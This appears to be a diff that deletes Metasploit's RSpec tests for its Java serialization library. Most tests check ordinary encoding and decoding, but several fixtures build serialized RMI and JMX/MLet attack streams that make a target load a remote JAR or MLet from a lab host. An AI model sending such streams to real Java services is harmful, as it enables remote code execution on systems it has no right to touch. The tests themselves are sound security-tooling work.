[7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] }
|
||||
[7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
|
||||
[7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] }
|
||||
[7e0003] Utf { Ljava/rmi/server/UID; }
|
||||
[7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } }
|
||||
[7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] }
|
||||
[7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } }
|
||||
[7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] }
|
||||
[7e0008] Utf { Ljava/rmi/dgc/VMID; }
|
||||
[7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
|
||||
[7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] }
|
||||
[7e000b] Utf { [B }
|
||||
[7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } }
|
||||
[7e000d] NewClassDesc { [B, [ ] }
|
||||
[7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] }
|
||||
[7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } }
|
||||
]
|
||||
EOS
|
||||
}
|
||||
|
||||
let(:rmi_call) do
|
||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
|
||||
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
|
||||
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
|
||||
"\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" +
|
||||
"\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" +
|
||||
"\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" +
|
||||
"\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" +
|
||||
"\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" +
|
||||
"\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00"
|
||||
end
|
||||
|
||||
let(:mbean_call) do
|
||||
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
|
||||
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
|
||||
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
|
||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
|
||||
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
|
||||
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
|
||||
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
|
||||
"\x2c\x69\x64\x3d\x31\x78\x70"
|
||||
end
|
||||
|
||||
let(:marshalled_argument) do
|
||||
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
|
||||
"\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" +
|
||||
"\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" +
|
||||
"\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" +
|
||||
"\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74"
|
||||
end
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::Stream" do
|
||||
expect(stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "initializes magic with java serialized stream signature" do
|
||||
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
|
||||
end
|
||||
|
||||
it "initializes version with java serialized stream default version " do
|
||||
expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION)
|
||||
end
|
||||
|
||||
it "initializes references as empty array " do
|
||||
expect(stream.references).to be_empty
|
||||
end
|
||||
|
||||
it "initializes stream to nil by default" do
|
||||
expect(stream.stream).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
context "when deserializing a simple Object stream" do
|
||||
it "deserializes an Stream" do
|
||||
expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "deserializes the signature correctly" do
|
||||
stream.decode(easy_object_stream_io)
|
||||
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
|
||||
end
|
||||
|
||||
it "deserializes all the contents" do
|
||||
stream.decode(easy_object_stream_io)
|
||||
expect(stream.contents.length).to eq(1)
|
||||
end
|
||||
|
||||
it "deserializes a simple object correctly" do
|
||||
stream.decode(easy_object_stream_io)
|
||||
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
end
|
||||
|
||||
context "when deserializing a char array" do
|
||||
it "deserializes an Stream" do
|
||||
expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "deserializes the char array correctly" do
|
||||
stream.decode(char_array_stream_io)
|
||||
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
end
|
||||
|
||||
context "when deserializing a complex stream with references" do
|
||||
it "deserializes an Stream" do
|
||||
expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "deserializes all the contents in the Stream" do
|
||||
stream.decode(complex_stream_io)
|
||||
expect(stream.contents.length).to eq(4)
|
||||
end
|
||||
|
||||
it "deserializes object contents" do
|
||||
stream.decode(complex_stream_io)
|
||||
expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a simple Object stream" do
|
||||
stream.decode(easy_object_stream_io)
|
||||
expect(stream.to_s).to eq(easy_object_stream_to_s)
|
||||
end
|
||||
|
||||
it "prints a char array stream" do
|
||||
stream.decode(char_array_stream_io)
|
||||
expect(stream.to_s).to eq(char_array_stream_to_s)
|
||||
end
|
||||
|
||||
it "prints a complex stream with references" do
|
||||
stream.decode(complex_stream_io)
|
||||
expect(stream.to_s).to eq(complex_stream_to_s)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when serializing a simple Object stream" do
|
||||
it "serializes the Stream" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
|
||||
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
|
||||
new_class_desc.flags = 2
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = 'int'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
|
||||
new_class_desc.fields << field
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = [['int', 0x41424344]]
|
||||
|
||||
stream.contents << new_object
|
||||
expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a char array" do
|
||||
it "serializes the Stream" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
|
||||
new_class_desc.serial_version = 0xb02666b0e25d84ac
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'char'
|
||||
new_array.values = [97, 98]
|
||||
|
||||
stream.contents << new_array
|
||||
expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
context "when reserializing a complex stream" do
|
||||
it "reserializes the original stream" do
|
||||
stream.decode(complex_stream_io)
|
||||
expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a Java RMI call" do
|
||||
it "serializes the stream correctly" do
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
|
||||
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
|
||||
new_array_desc.serial_version = 0x871300b8d02c647e
|
||||
new_array_desc.flags = 2
|
||||
new_array_desc.fields = []
|
||||
new_array_desc.class_annotation = new_array_annotation
|
||||
new_array_desc.super_class = new_array_super
|
||||
|
||||
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array_desc.description = new_array_desc
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.type = 'java.rmi.server.ObjID;'
|
||||
new_array.values = []
|
||||
new_array.array_description = array_desc
|
||||
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
new_class_desc.serial_version = 0xa16544ba26f9c2f4
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
|
||||
expect(stream.encode).to eq(rmi_call)
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a MBeanServerConnection.getObjectInstance call data" do
|
||||
it "serializes the stream correctly" do
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03"
|
||||
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
||||
new_class_desc.flags = 3
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1')
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
expect(stream.encode).to eq(mbean_call)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a marshalled argument" do
|
||||
it "serializes the stream correctly" do
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
|
||||
new_array_class_desc.serial_version = 0x90ce589f1073296c
|
||||
new_array_class_desc.flags = 2
|
||||
new_array_class_desc.fields = []
|
||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_array_class_desc
|
||||
new_array.type = 'java.lang.Object;'
|
||||
new_array.values = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet')
|
||||
]
|
||||
|
||||
stream.contents << new_array
|
||||
|
||||
expect(stream.encode).to eq(marshalled_argument)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,107 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::Utf do
|
||||
subject(:utf) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample_utf) { "\x00\x10java.lang.Number" }
|
||||
let(:sample_utf_io) { StringIO.new(sample_utf) }
|
||||
let(:empty_utf) { "\x00\x00" }
|
||||
let(:empty_utf_io) { StringIO.new(empty_utf) }
|
||||
let(:incomplete_utf) { "\x00\x10java.lang.Numb" }
|
||||
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
|
||||
let(:empty_io) { StringIO.new('') }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::Utf" do
|
||||
expect(utf).to be_a(Rex::Java::Serialization::Model::Utf)
|
||||
end
|
||||
|
||||
it "initializes length to 0" do
|
||||
expect(utf.length).to eq(0)
|
||||
end
|
||||
|
||||
it "initializes contents with empty string" do
|
||||
expect(utf.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when empty utf" do
|
||||
it { expect(utf.encode).to eq(empty_utf) }
|
||||
end
|
||||
|
||||
context "when filled utf" do
|
||||
it do
|
||||
utf.length = 16
|
||||
utf.contents = 'java.lang.Number'
|
||||
expect(utf.encode).to eq(sample_utf)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "raises Rex::Java::Serialization::DecodeError" do
|
||||
expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains empty utf" do
|
||||
it "returns a Rex::Java::Serialization::Model::Utf" do
|
||||
expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
utf.decode(empty_utf_io)
|
||||
expect(utf.length).to eq(0)
|
||||
end
|
||||
|
||||
it "sets contents to empty string" do
|
||||
utf.decode(empty_utf_io)
|
||||
expect(utf.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains incomplete utf" do
|
||||
it "raises Rex::Java::Serialization::DecodeError" do
|
||||
expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains correct utf" do
|
||||
|
||||
it "returns a Rex::Java::Serialization::Model::Utf" do
|
||||
expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
utf.decode(sample_utf_io)
|
||||
expect(utf.length).to eq(16)
|
||||
end
|
||||
|
||||
it "sets contents to sample string" do
|
||||
utf.decode(sample_utf_io)
|
||||
expect(utf.contents).to eq('java.lang.Number')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints an stream containing a sample utf" do
|
||||
utf.decode(sample_utf_io)
|
||||
expect(utf.to_s).to eq('java.lang.Number')
|
||||
end
|
||||
|
||||
it "prints an stream containing an empty utf" do
|
||||
utf.decode(empty_utf_io)
|
||||
expect(utf.to_s).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue